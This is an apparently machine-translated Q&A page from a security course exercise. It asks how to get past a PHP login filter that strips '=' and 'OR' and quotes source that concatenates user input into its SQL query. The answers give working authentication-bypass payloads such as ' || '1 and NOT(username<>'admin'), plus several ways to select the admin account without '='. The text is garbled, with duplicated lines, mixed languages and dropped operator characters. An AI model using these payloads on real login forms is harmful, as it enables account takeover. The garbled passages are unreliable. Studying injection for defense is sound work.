使用php过滤的SQL注入
我必须为计算机安全课程的练习注入登录表单。。。。 我已经通过了使用简单使用php过滤的SQL注入,php,mysql,sql,sql-injection,input-filtering,Php,Mysql,Sql,Sql Injection,Input Filtering,我必须为计算机安全课程的练习注入登录表单。。。。 我已经通过了使用简单 ' like 1=1-- 在password字段中,但现在在第二个级别中,我必须再次使用相同的源代码注入相同的登录表单,除了用户和pwd由一个名为lvl2_filter()的函数控制,我认为它是filters.php的一部分,并且不接受“=”和“OR” 我该怎么做 用户名和密码字段不能为空 include_once 'filters.php'; include_once 'config.php'; ?> <?
' like 1=1--
在password字段中,但现在在第二个级别中,我必须再次使用相同的源代码注入相同的登录表单,除了用户和pwd由一个名为lvl2_filter()的函数控制,我认为它是filters.php的一部分,并且不接受“=”和“OR”
我该怎么做
用户名和密码字段不能为空
include_once 'filters.php';
include_once 'config.php';
?>
<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];
if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}
if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) {
echo "Hi $user, you are logged in.";
verify_user($token, $user);
}
else echo "sorry, invalid username or password";
}
else { ?>
include_once'filters.php';
包括一次'config.php';
?>
假设它基本上删除了=
和或的任何出现,直到再也找不到为止,应该仍然可以使用with|
而不是或以及计算结果为true的简单表达式,如:
username: dummy
password: ' || '1
这将导致:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
要选择特定用户,可以使用,其中x=y
=!(x!=y)
:
username:dummy
密码:'| | NOT(用户名'admin')和'1
这将导致:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
从username='dummy'和password=''|| NOT(username'admin')和'1'的用户中选择用户id
这里的
相当于=代码>但不包含=
还可以使用其他操作确保username等于admin
:
- “admin”和“admin”之间的用户名
用户名类似于“admin”
用户名在('admin')
IF(STRCMP(用户名,'admin'),0,1)
CASE STRCMP(用户名,'admin')当0时,则1否则0结束